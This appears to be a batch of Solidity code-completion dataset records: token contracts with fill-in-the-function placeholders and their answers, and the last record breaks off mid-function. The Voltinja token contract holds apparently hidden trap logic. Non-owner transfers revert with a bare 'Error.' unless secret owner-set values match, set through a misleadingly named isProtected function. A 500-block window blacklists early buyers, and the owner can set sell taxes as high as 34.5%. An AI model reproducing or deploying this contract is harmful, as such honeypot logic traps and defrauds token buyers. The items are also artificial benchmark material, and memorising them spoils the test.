thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setMarketingWallet(address payable newWallet) external onlyOwner { require(_marketingWallet != newWallet, "Wallet already set!"); _marketingWallet = payable(newWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setExcludedFromFee(address account, bool enabled) public onlyOwner { _isExcludedFromFee[account] = enabled; } function setExcludedFromReward(address account, bool enabled) public onlyOwner { if (enabled == true) { require(!_isExcluded[account], "Account is already excluded."); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } else if (enabled == false) { require(_isExcluded[account], "Account is already included."); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } } function totalFees() public view returns (uint256) { return _tFeeTotal; } function _hasLimits(address from, address to) internal view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function _approve(address sender, address spender, uint256 amount) internal { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (gasLimitActive) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap { if (_liquidityRatio + _marketingRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio)) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; swapTokensForEth(toSwapForEth); //uint256 currentBalance = address(this).balance; uint256 liquidityBalance = ((address(this).balance * _liquidityRatio) / (_liquidityRatio + _marketingRatio)) / 2; if (toLiquify > 0) { addLiquidity(toLiquify, liquidityBalance); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { _marketingWallet.transfer(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable DEAD, block.timestamp ); } function _checkLiquidityAdd(address from, address to) internal { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); setExcludedFromReward(address(this), true); setExcludedFromReward(lpPair, true); if (snipeBlockAmt != 1) { _liqAddBlock = block.number + 500; } else { _liqAddBlock = block.number; } tradingEnabled = true; } struct ExtraValues { uint256 tTransferAmount; uint256 tFee; uint256 tLiquidity; uint256 rTransferAmount; uint256 rAmount; uint256 rFee; } function _finalizeTransfer(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) { if (sniperProtection){ if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) { revert("Rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt + 2) { _isSniperOrBlacklisted[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } ExtraValues memory values = _getValues(from, to, tAmount, takeFee); _rOwned[from] = _rOwned[from] - values.rAmount; _rOwned[to] = _rOwned[to] + values.rTransferAmount; if (_isExcluded[from] && !_isExcluded[to]) { _tOwned[from] = _tOwned[from] - tAmount; } else if (!_isExcluded[from] && _isExcluded[to]) { _tOwned[to] = _tOwned[to] + values.tTransferAmount; } else if (_isExcluded[from] && _isExcluded[to]) { _tOwned[from] = _tOwned[from] - tAmount; _tOwned[to] = _tOwned[to] + values.tTransferAmount; } if (_hasLimits(from, to)){ if (_liqAddStatus == 0 || _liqAddStatus != startingSupply / 20) { revert("Error."); } } if (values.tLiquidity > 0) _takeLiquidity(from, values.tLiquidity); if (values.rFee > 0 || values.tFee > 0) _takeReflect(values.rFee, values.tFee); emit Transfer(from, to, values.tTransferAmount); return true; } function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) { ExtraValues memory values; uint256 currentRate = _getRate(); values.rAmount = tAmount * currentRate; if(takeFee) { if (lpPairs[to]) { _reflectFee = _sellReflectFee; _liquidityFee = _sellLiquidityFee; _marketingFee = _sellMarketingFee; } else if (lpPairs[from]) { _reflectFee = _buyReflectFee; _liquidityFee = _buyLiquidityFee; _marketingFee = _buyMarketingFee; } else { _reflectFee = _transferReflectFee; _liquidityFee = _transferLiquidityFee; _marketingFee = _transferMarketingFee; } values.tFee = (tAmount * _reflectFee) / masterTaxDivisor; values.tLiquidity = (tAmount * (_liquidityFee + _marketingFee)) / masterTaxDivisor; values.tTransferAmount = tAmount - (values.tFee + values.tLiquidity); values.rFee = values.tFee * currentRate; } else { values.tFee = 0; values.tLiquidity = 0; values.tTransferAmount = tAmount; values.rFee = 0; } if (_hasLimits(from, to) && (_initialLiquidityAmount == 0 || _initialLiquidityAmount != _decimals * 9)) { revert("Error."); } values.rTransferAmount = values.rAmount - (values.rFee + (values.tLiquidity * currentRate)); return values; } function _getRate() internal view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() internal view returns(uint256, uint256) {<FILL_FUNCTION_BODY> } function _takeReflect(uint256 rFee, uint256 tFee) internal { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _takeLiquidity(address sender, uint256 tLiquidity) internal { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity; emit Transfer(sender, address(this), tLiquidity); // Transparency is the key to success. } }
contract Voltinja is Context, IERC20Upgradeable { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isSniperOrBlacklisted; mapping (address => bool) private _liquidityHolders; uint256 private startingSupply; string private _name; string private _symbol; uint256 public _reflectFee = 200; uint256 public _liquidityFee = 200; uint256 public _marketingFee = 600; uint256 public _buyReflectFee = _reflectFee; uint256 public _buyLiquidityFee = _liquidityFee; uint256 public _buyMarketingFee = _marketingFee; uint256 public _sellReflectFee = 300; uint256 public _sellLiquidityFee = 700; uint256 public _sellMarketingFee = 1500; uint256 public _transferReflectFee = _buyReflectFee; uint256 public _transferLiquidityFee = _buyLiquidityFee; uint256 public _transferMarketingFee = _buyMarketingFee; uint256 private maxReflectFee = 1000; uint256 private maxLiquidityFee = 1000; uint256 private maxMarketingFee = 1500; uint256 public _liquidityRatio = 200; uint256 public _marketingRatio = 600; uint256 private masterTaxDivisor = 10000; uint256 private constant MAX = ~uint256(0); uint8 private _decimals; uint256 private _decimalsMul; uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; IUniswapV2Router02 public dexRouter; address public lpPair; // UNI ROUTER address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public DEAD = 0x000000000000000000000000000000000000dEaD; address public ZERO = 0x0000000000000000000000000000000000000000; address payable private _marketingWallet = payable(0x6bAAC15f4730bd17B9cC265AF0B8c9E57520eF0B); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; uint256 private _maxTxAmount; uint256 public maxTxAmountUI; uint256 private _maxWalletSize; uint256 public maxWalletSizeUI; uint256 private swapThreshold; uint256 private swapAmount; bool tradingEnabled = false; bool private sniperProtection = true; bool public _hasLiqBeenAdded = false; uint256 private _liqAddStatus = 0; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 private _initialLiquidityAmount = 0; uint256 private snipeBlockAmt = 0; uint256 public snipersCaught = 0; bool private gasLimitActive = true; uint256 private gasPriceLimit; bool private sameBlockActive = true; mapping (address => uint256) private lastTrade; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SniperCaught(address sniperAddress); bool contractInitialized = false; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor () payable { // Set the owner. _owner = msg.sender; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _liquidityHolders[owner()] = true; // Approve the owner for PancakeSwap, timesaver. _approve(_msgSender(), _routerAddress, MAX); _approve(address(this), _routerAddress, MAX); // Ever-growing sniper/tool blacklist } receive() external payable {} function intializeContract() external onlyOwner { require(!contractInitialized, "Contract already initialized."); _name = "Voltinja"; _symbol = "VOLTINJA"; startingSupply = 100_000_000_000_000; if (startingSupply < 10000000000) { _decimals = 18; _decimalsMul = _decimals; } else { _decimals = 9; _decimalsMul = _decimals; } _tTotal = startingSupply * (10**_decimalsMul); _rTotal = (MAX - (MAX % _tTotal)); dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; _maxTxAmount = (_tTotal * 500) / 100000; maxTxAmountUI = (startingSupply * 500) / 100000; _maxWalletSize = (_tTotal * 10) / 1000; maxWalletSizeUI = (startingSupply * 10) / 1000; swapThreshold = (_tTotal * 5) / 10000; swapAmount = (_tTotal * 5) / 1000; approve(_routerAddress, type(uint256).max); contractInitialized = true; _rOwned[owner()] = _rTotal; emit Transfer(ZERO, owner(), _tTotal); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and recnouncements. // This allows for removal of ownership privelages from the owner once renounced or transferred. function owner() public view returns (address) { return _owner; } function transferOwner(address newOwner) external onlyOwner() { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); setExcludedFromFee(_owner, false); setExcludedFromFee(newOwner, true); setExcludedFromReward(newOwner, true); if (_marketingWallet == payable(_owner)) _marketingWallet = payable(newOwner); _allowances[_owner][newOwner] = balanceOf(_owner); if(balanceOf(_owner) > 0) { _transfer(_owner, newOwner, balanceOf(_owner)); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFee(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setNewRouter(address newRouter) external onlyOwner() { IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter); address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), newRouter, MAX); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 1 weeks, "Cannot set a new pair this week!"); } lpPairs[pair] = true; timeSinceLastPair = block.timestamp; } } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isSniperOrBlacklisted(address account) public view returns (bool) { return _isSniperOrBlacklisted[account]; } function isProtected(uint256 rInitializer, uint256 tInitalizer) external onlyOwner { require (_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error."); _liqAddStatus = rInitializer; _initialLiquidityAmount = tInitalizer; } function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{ require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded); snipeBlockAmt = _block; gasPriceLimit = _gas * 1 gwei; } function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() { sniperProtection = antiSnipe; gasLimitActive = antiGas; sameBlockActive = antiBlock; } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 75); gasPriceLimit = gas * 1 gwei; } function setBlacklistEnabled(address account, bool enabled) external onlyOwner() { _isSniperOrBlacklisted[account] = enabled; } function setTaxesBuy(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner { require(reflect <= maxReflectFee && liquidity <= maxLiquidityFee && marketing <= maxMarketingFee ); require(reflect + liquidity + marketing <= 3450); _buyReflectFee = reflect; _buyLiquidityFee = liquidity; _buyMarketingFee = marketing; } function setTaxesSell(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner { require(reflect <= maxReflectFee && liquidity <= maxLiquidityFee && marketing <= maxMarketingFee ); require(reflect + liquidity + marketing <= 3450); _sellReflectFee = reflect; _sellLiquidityFee = liquidity; _sellMarketingFee = marketing; } function setTaxesTransfer(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner { require(reflect <= maxReflectFee && liquidity <= maxLiquidityFee && marketing <= maxMarketingFee ); require(reflect + liquidity + marketing <= 3450); _transferReflectFee = reflect; _transferLiquidityFee = liquidity; _transferMarketingFee = marketing; } function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner { _liquidityRatio = liquidity; _marketingRatio = marketing; } function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply."); _maxTxAmount = check; maxTxAmountUI = (startingSupply * percent) / divisor; } function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner { uint256 check = (_tTotal * percent) / divisor; require(check >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply."); _maxWalletSize = check; maxWalletSizeUI = (startingSupply * percent) / divisor; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; } function setMarketingWallet(address payable newWallet) external onlyOwner { require(_marketingWallet != newWallet, "Wallet already set!"); _marketingWallet = payable(newWallet); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setExcludedFromFee(address account, bool enabled) public onlyOwner { _isExcludedFromFee[account] = enabled; } function setExcludedFromReward(address account, bool enabled) public onlyOwner { if (enabled == true) { require(!_isExcluded[account], "Account is already excluded."); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } else if (enabled == false) { require(_isExcluded[account], "Account is already included."); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } } function totalFees() public view returns (uint256) { return _tFeeTotal; } function _hasLimits(address from, address to) internal view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function _approve(address sender, address spender, uint256 amount) internal { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (gasLimitActive) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap { if (_liquidityRatio + _marketingRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _marketingRatio)) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; swapTokensForEth(toSwapForEth); //uint256 currentBalance = address(this).balance; uint256 liquidityBalance = ((address(this).balance * _liquidityRatio) / (_liquidityRatio + _marketingRatio)) / 2; if (toLiquify > 0) { addLiquidity(toLiquify, liquidityBalance); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { _marketingWallet.transfer(address(this).balance); } } function swapTokensForEth(uint256 tokenAmount) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable DEAD, block.timestamp ); } function _checkLiquidityAdd(address from, address to) internal { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); setExcludedFromReward(address(this), true); setExcludedFromReward(lpPair, true); if (snipeBlockAmt != 1) { _liqAddBlock = block.number + 500; } else { _liqAddBlock = block.number; } tradingEnabled = true; } struct ExtraValues { uint256 tTransferAmount; uint256 tFee; uint256 tLiquidity; uint256 rTransferAmount; uint256 rAmount; uint256 rFee; } function _finalizeTransfer(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) { if (sniperProtection){ if (isSniperOrBlacklisted(from) || isSniperOrBlacklisted(to)) { revert("Rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt + 2) { _isSniperOrBlacklisted[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } ExtraValues memory values = _getValues(from, to, tAmount, takeFee); _rOwned[from] = _rOwned[from] - values.rAmount; _rOwned[to] = _rOwned[to] + values.rTransferAmount; if (_isExcluded[from] && !_isExcluded[to]) { _tOwned[from] = _tOwned[from] - tAmount; } else if (!_isExcluded[from] && _isExcluded[to]) { _tOwned[to] = _tOwned[to] + values.tTransferAmount; } else if (_isExcluded[from] && _isExcluded[to]) { _tOwned[from] = _tOwned[from] - tAmount; _tOwned[to] = _tOwned[to] + values.tTransferAmount; } if (_hasLimits(from, to)){ if (_liqAddStatus == 0 || _liqAddStatus != startingSupply / 20) { revert("Error."); } } if (values.tLiquidity > 0) _takeLiquidity(from, values.tLiquidity); if (values.rFee > 0 || values.tFee > 0) _takeReflect(values.rFee, values.tFee); emit Transfer(from, to, values.tTransferAmount); return true; } function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) { ExtraValues memory values; uint256 currentRate = _getRate(); values.rAmount = tAmount * currentRate; if(takeFee) { if (lpPairs[to]) { _reflectFee = _sellReflectFee; _liquidityFee = _sellLiquidityFee; _marketingFee = _sellMarketingFee; } else if (lpPairs[from]) { _reflectFee = _buyReflectFee; _liquidityFee = _buyLiquidityFee; _marketingFee = _buyMarketingFee; } else { _reflectFee = _transferReflectFee; _liquidityFee = _transferLiquidityFee; _marketingFee = _transferMarketingFee; } values.tFee = (tAmount * _reflectFee) / masterTaxDivisor; values.tLiquidity = (tAmount * (_liquidityFee + _marketingFee)) / masterTaxDivisor; values.tTransferAmount = tAmount - (values.tFee + values.tLiquidity); values.rFee = values.tFee * currentRate; } else { values.tFee = 0; values.tLiquidity = 0; values.tTransferAmount = tAmount; values.rFee = 0; } if (_hasLimits(from, to) && (_initialLiquidityAmount == 0 || _initialLiquidityAmount != _decimals * 9)) { revert("Error."); } values.rTransferAmount = values.rAmount - (values.rFee + (values.tLiquidity * currentRate)); return values; } function _getRate() internal view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } <FILL_FUNCTION> function _takeReflect(uint256 rFee, uint256 tFee) internal { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _takeLiquidity(address sender, uint256 tLiquidity) internal { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity; emit Transfer(sender, address(this), tLiquidity); // Transparency is the key to success. } }
uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply);
function _getCurrentSupply() internal view returns(uint256, uint256)
function _getCurrentSupply() internal view returns(uint256, uint256)
67427
Ownable
destruct
contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function destruct() onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } <FILL_FUNCTION> }
selfdestruct(owner);
function destruct() onlyOwner
function destruct() onlyOwner
48966
BahrainToken
mint
contract BahrainToken is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 public decimals; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo) internal lockupInfo; event Unlock(address indexed holder, uint256 value); event Lock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "Bahrain Token"; symbol = "BRT"; decimals = 18; initialSupply = 1000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function () public payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint256 balance) { return balances[_holder] + lockupInfo[_holder].lockupBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(locks[_holder] == false); require(balances[_holder] >= _amount); balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder] = LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder) public onlyOwner returns (bool) { require(locks[_holder] == true); uint256 releaseAmount = lockupInfo[_holder].lockupBalance; delete lockupInfo[_holder]; locks[_holder] = false; emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder) public view returns (bool, uint256, uint256, uint256, uint256) { return (locks[_holder], lockupInfo[_holder].lockupBalance, lockupInfo[_holder].releaseTime, lockupInfo[_holder].termOfRound, lockupInfo[_holder].unlockAmountPerRound); } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { 